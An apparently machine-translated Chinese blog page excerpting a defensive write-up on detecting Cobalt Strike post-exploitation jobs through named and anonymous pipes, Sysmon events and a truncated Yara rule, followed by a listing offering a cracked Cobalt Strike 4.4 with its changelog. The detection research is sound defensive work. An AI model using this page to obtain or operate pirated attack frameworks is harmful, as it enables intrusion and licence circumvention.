基本分析Cobalt Strike 在执行其某些命令时会使用一种称为“Fork-n-Run”的特定模式。“Fork-n-Run”模式包括产生一个新进程(也称为牺牲进程)并将shellcode注入其中。这种模式提供了许多好处,一个是能够执行长时间运行的任务,例如:“键盘记录器”,不会阻塞主 Beacon 线程。一般来说都是由反射 DLL 实现的。在Cobalt Strike的最新版本 在如何自定义能力注入过程方面为红队提供了极大的灵活性。我们应该更加关注一些没有太大变化的东西。更具体地说,一个保持不变的特性是能够检索注入模块的输出。例如,“键盘记录器”模块能够将按下的键发送回主信标进程。但是由于“键盘记录器”模块是完全无文件的,与主信标进程的通信是如何发生的?答案是:管道!管道是用于进程相互通信的共享内存。基本上有两种类型的管道:命名管道和未命名管道。命名管道,顾名思义,有一个名字,可以通过引用这个名字来访问。匿名管道,需要将其句柄传递给其他通信进程以交换数据。这可以通过多种方式完成。Cobalt Strike 使用命名管道和未命名管道在信标与其牺牲进程之间交换数据。命名管道F-Secure 观察到,当使用 Cobalt Strike 的一些模块将反射 DLL 注入牺牲进程时,会创建一个具有可预测模式的命名管道。请注意,这些命名管道不是用于横向移动的 SMB 命名管道,可以通过可塑性配置文件进行自定义。在 4.2 版之前,操作员无法修改此命名管道的名称。更具体地说,观察到一旦启动了“作业”,信标就创建了一个命名管道;管道的名称仅包含十六进制字符,并且发现其长度等于模块名称的长度(例如,屏幕截图模块的长度为 10 个字符)。一些被发现具有这种行为的模块:KeyloggerScreenshotMimikatz (dcsync, dpapi, logonpasswords)PowerpickNet (netview下面的屏幕截图显示了执行“keylogger”命令后 Sysmon 事件 ID 17 和 18(分别创建和访问管道)的示例:进行了有限数量的实验,但没有发现其他合法应用程序可以创建具有相同命名约定的命名管道。我们稍后将使用此信息创建 Splunk 搜索,这些搜索使用 Sysmon 和 Yara 规则来扫描进程内存匿名管道并非每个 Cobalt Strike 命令都会创建一个命名管道,其中一些将使用匿名管道来实现相同的结果。下图显示了发出“execute-assembly”命令后创建的管道实例:我们可以通过调试启动长时间运行的程序集后产生的牺牲进程来确认:在“ntdll!NtWriteFile”函数上设置了一个断点,并且可以看到,牺牲进程试图写入的句柄与属于管道文件系统(Npfs)的未命名文件相关联:正如我们所见,发现诸如“execute-assembly”之类的命令并不像上面那么简单。理论上,我们可以对使用匿名管道的流程进行基线处理。我们知道本机 Windows 进程并不经常使用匿名管道。因此,我们可以查找连接到匿名管道的 Windows 进程并从那里进行检测。攻击者通常使用本地 Windows 二进制文件作为其可塑性配置文件中的牺牲进程。'' ############################################# #包含 post_ex 块数据的数据集,包括spawn-to 进程。################################################# “ '' #自定义此列表# spawn_processes = 可以看出,上述过程用于后开发作业。它们通常都不会使用匿名管道与不同的进程进行通信;因此,可以使用它来执行搜索并最终创建检测规则。在实验过程中,发现以下 Windows 二进制文件使用匿名管道进行进程间通信:wsmprovhost.exengen.exesplunk.exesplunkd.exefirefox.exe这同样适用于通过 Cobalt Strike 的 dllspawn API 执行的自定义反射 DLL,因为底层的通信机制是相同的。其中一个例子是 Outflank 的Ps-Tools存储库。Ps-Tools 是与 Cobalt Strike 完全兼容的 rDLL 集合,允许监控过程活动。让我们执行“psw”模块,用于枚举活动的Windows,如下图:执行这个模块,我们可以识别出我们之前看到的相同的匿名管道行为:检测规则异常命名管道的检测可以通过多种方式实现。作为概念验证,我们开发了可用于扫描进程内存和查找实时实例的 Yara 签名,以及可与 Sysmon 结合使用的 Splunk 搜索。Yara 规则如下所示:rule cs_job_pipe{ meta: description = "Detects CobaltStrike Post Exploitation Named Pipes" author = "Riccardo Ancarani & Jon Cave"...
阅读全文
Cobalt Strike 4.4 (August 04, 2021)完美版,去除所有暗柱 安全工具

Cobalt Strike 4.4 (August 04, 2021)完美版,去除所有暗柱

Cobalt Strike 4.4 (August 04, 2021)完美版,去除所有暗柱   2021 年 8 月 4 日 - Cobalt Strike 4.4 ------------- + 添加对用户定义反射加载器的支持。 https://www.cobaltstrike.com/help-user-defined-reflective-loader + 添加对用户定义睡眠屏蔽的支持。 https://www.cobaltstrike.com/help-sleep-mask-kit + 产品许可和安全增强。 + 避免使用 localhost Sysmon 事件 22 进行 Beacon 元数据解析。 + 使用 sleep_mask 集验证信标是否有足够的代码洞空间。 + 更新 Mimikatz (2.2.0 20210724) + 使用证书/子域信息更新 Cobalt Strike 更新程序 + 添加客户端重连选项 + 通过 NanoHTTPD 发送数据时添加缓冲 + 更新链接命令的信标帮助 + 更新 c2lint 以返回结果代码 + 向 UI 添加新对话框以查看 Malleable C2 配置文件 + 为用户代理过滤器添加“允许”选项;补充了 4.3 中添加的块 + 为服务器添加别名字段到登录对话框 + 为连接对话框添加别名 + 在 Cobalt Strike 主屏幕上的连接选项卡上添加别名 + 增强编码签名功能的 c2lint 和 UI 处理 + 增强故障转移主机轮换策略(http/s 200 响应无效数据为失败) + 添加鱼叉式网络钓鱼电子邮件模板解析验证以发送客户端操作 + UI:连接对话框的增强请求以记住上次连接的团队服务器 + 为代码签名配置添加更好的 C2 linting +...
阅读全文